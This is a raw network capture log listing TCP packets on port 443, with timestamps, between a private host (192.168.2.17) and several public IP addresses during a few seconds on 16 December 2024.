Dec 16, 2024 18:45:31.941692114 CET	49761	443	192.168.2.17	172.64.146.132
Dec 16, 2024 18:45:31.941762924 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:31.941864014 CET	49761	443	192.168.2.17	172.64.146.132
Dec 16, 2024 18:45:31.941881895 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:31.944742918 CET	443	49757	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.944807053 CET	443	49757	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.944931984 CET	49757	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.945332050 CET	49757	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.945350885 CET	443	49757	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.973227978 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:31.989213943 CET	49761	443	192.168.2.17	172.64.146.132
Dec 16, 2024 18:45:32.060373068 CET	49765	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:32.060430050 CET	443	49765	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:32.060518980 CET	49765	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:32.060834885 CET	49765	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:32.060859919 CET	443	49765	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:32.209619999 CET	443	49758	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:32.209709883 CET	443	49758	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:32.209835052 CET	49758	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:32.210319996 CET	49758	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:32.210361958 CET	443	49758	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:32.266916037 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:32.267102003 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:32.267189980 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:32.267719030 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:32.267740965 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:32.270354986 CET	49766	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:32.270417929 CET	443	49766	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:32.270503998 CET	49766	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:32.270786047 CET	49766	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:32.270816088 CET	443	49766	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:32.377890110 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:32.377980947 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:32.378065109 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:32.378504992 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:32.378546000 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:32.446191072 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:32.446285963 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:32.446362019 CET	49761	443	192.168.2.17	172.64.146.132
Dec 16, 2024 18:45:32.446429014 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:32.446475983 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:32.446532965 CET	49761	443	192.168.2.17	172.64.146.132
Dec 16, 2024 18:45:32.446997881 CET	49761	443	192.168.2.17	172.64.146.132
Dec 16, 2024 18:45:32.447030067 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:32.984832048 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:32.985129118 CET	443	49763	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:32.985169888 CET	49762	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:32.985187054 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:32.985445023 CET	49763	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:32.985486984 CET	443	49763	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:32.986119032 CET	443	49763	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:32.986480951 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:32.986560106 CET	49763	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:32.986690044 CET	443	49763	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:32.986949921 CET	49762	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:32.987083912 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:32.987158060 CET	49763	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:32.987257004 CET	49762	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:32.987338066 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:32.987776041 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:32.987835884 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:32.988864899 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:32.988945961 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:32.989289045 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:32.989360094 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:32.989481926 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.027327061 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.027353048 CET	443	49763	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.031363964 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.036246061 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.036279917 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.084242105 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.275552988 CET	443	49765	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.275861025 CET	49765	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.275928020 CET	443	49765	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.276427031 CET	443	49765	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.276953936 CET	49765	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.277050972 CET	443	49765	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.277276993 CET	49765	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.277276993 CET	49765	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.277319908 CET	443	49765	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.461903095 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.462083101 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.467355967 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.467437029 CET	49762	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.467957020 CET	49762	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.467979908 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.469038010 CET	443	49763	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.469217062 CET	443	49763	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.472141027 CET	49763	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.472203016 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.472379923 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.473932028 CET	49763	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.473962069 CET	443	49763	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.474021912 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.476509094 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.476546049 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.488822937 CET	443	49766	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.493427992 CET	49766	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.493452072 CET	443	49766	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.496798992 CET	443	49766	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.496869087 CET	49766	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.497742891 CET	49766	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.497817039 CET	443	49766	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.499357939 CET	49766	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.499370098 CET	443	49766	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.548212051 CET	49766	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.844172955 CET	443	49765	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.844527006 CET	443	49765	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.844600916 CET	49765	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.845114946 CET	49765	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:33.845134974 CET	443	49765	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:33.848608017 CET	49767	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:33.848644018 CET	443	49767	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:33.848716021 CET	49767	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:33.848969936 CET	49767	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:33.848982096 CET	443	49767	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:33.861989975 CET	49768	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:33.862086058 CET	443	49768	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:33.862214088 CET	49768	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:33.862473965 CET	49768	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:33.862509966 CET	443	49768	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:33.994793892 CET	443	49766	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.994987965 CET	443	49766	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:33.995065928 CET	49766	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.995553017 CET	49766	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:33.995574951 CET	443	49766	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:34.477633953 CET	49769	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:34.477680922 CET	443	49769	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:34.477802992 CET	49769	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:34.477902889 CET	49770	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:34.478012085 CET	443	49770	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:34.478085041 CET	49770	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:34.478370905 CET	49769	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:34.478388071 CET	443	49769	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:34.478710890 CET	49770	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:34.478746891 CET	443	49770	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.068963051 CET	443	49767	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.069322109 CET	49767	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.069339991 CET	443	49767	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.070527077 CET	443	49767	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.070975065 CET	49767	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.071156025 CET	443	49767	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.071208954 CET	49767	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.075191021 CET	443	49768	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.075772047 CET	49768	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.075814962 CET	443	49768	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.076297045 CET	443	49768	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.076699018 CET	49768	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.076792002 CET	443	49768	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.076864958 CET	49768	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.115362883 CET	443	49767	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.117249012 CET	49767	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.117258072 CET	49768	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.117279053 CET	443	49768	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.542085886 CET	443	49768	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.542181969 CET	443	49768	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.542249918 CET	49768	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.543194056 CET	49768	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.543229103 CET	443	49768	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.545974016 CET	49771	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:35.546008110 CET	443	49771	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:35.546137094 CET	49771	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:35.546427965 CET	49771	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:35.546439886 CET	443	49771	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:35.548099041 CET	443	49767	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.548259974 CET	443	49767	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.548347950 CET	49767	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.548870087 CET	49767	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:35.548877954 CET	443	49767	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:35.734170914 CET	443	49769	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.734482050 CET	49769	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.734500885 CET	443	49769	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.735892057 CET	443	49769	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.735975981 CET	49769	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.737040043 CET	49769	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.737063885 CET	49769	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.737118006 CET	443	49769	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.737147093 CET	49769	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.737179041 CET	49769	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.737637997 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.737728119 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.737859011 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.738040924 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.738074064 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.743859053 CET	443	49770	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.744220972 CET	49770	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.744244099 CET	443	49770	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.745707989 CET	443	49770	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.745789051 CET	49770	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.746733904 CET	49770	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.746798992 CET	49770	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.746849060 CET	49770	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.746865034 CET	443	49770	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.746928930 CET	49770	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.747261047 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.747322083 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:35.747514009 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.747761011 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:35.747778893 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:36.764800072 CET	443	49771	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:36.765115976 CET	49771	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:36.765136003 CET	443	49771	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:36.765599966 CET	443	49771	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:36.765897036 CET	49771	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:36.766016960 CET	443	49771	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:36.766084909 CET	49771	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:36.806267977 CET	49771	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:36.806279898 CET	443	49771	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:36.962723017 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:36.962935925 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:36.963032007 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:36.963073969 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:36.963176966 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:36.963242054 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:36.964111090 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:36.964179993 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:36.964301109 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:36.964386940 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:36.965159893 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:36.965239048 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:36.965564966 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:36.965635061 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:36.965945959 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:36.965965986 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.013258934 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.013264894 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.013304949 CET	443	49772	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.061249018 CET	49772	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.270284891 CET	443	49771	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:37.270385981 CET	443	49771	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:37.270576954 CET	49771	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:37.271286964 CET	49771	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:37.271301985 CET	443	49771	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:37.651879072 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.652196884 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.652232885 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.652267933 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.652311087 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.652311087 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.652375937 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.661564112 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.661655903 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.661673069 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.661731958 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.661830902 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.669929981 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.709248066 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.709284067 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.751961946 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.771755934 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.821341991 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.821382999 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.845715046 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.846009970 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.846040010 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.853209972 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.854861975 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.854893923 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.860683918 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.860969067 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.861000061 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.868166924 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.868535042 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.868563890 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.882951021 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.883013964 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.883341074 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.883368015 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.883899927 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.890510082 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.897902012 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.897989988 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.898231983 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.898255110 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.898386955 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.905380964 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.912902117 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.913232088 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.913256884 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.919994116 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.920624971 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.920644999 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.926928997 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.929239988 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.929267883 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.934041977 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.934144974 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.934176922 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:37.978025913 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:37.978056908 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.028389931 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.035471916 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.037681103 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.037921906 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.037939072 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.050283909 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.050296068 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.050568104 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.050589085 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.054958105 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.056668043 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.056679010 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.057132006 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.063755035 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.063766003 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.063900948 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.071532011 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.071542025 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.071640968 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.079725027 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.079734087 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.079940081 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.083760023 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.083769083 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.083890915 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.092180014 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.092190027 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.092360020 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.096038103 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.096046925 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.096234083 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.104063034 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.104172945 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.112092972 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.112234116 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.120304108 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.120485067 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.124550104 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.124675989 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.140031099 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.140217066 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.155339956 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.155721903 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.194823980 CET	443	49719	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:38.194896936 CET	443	49719	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:38.194988966 CET	49719	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:38.228403091 CET	443	49773	104.21.60.204	192.168.2.17
Dec 16, 2024 18:45:38.228662014 CET	49773	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:45:38.234220028 CET	443	49773	104.21.60.204	192.168.2.17
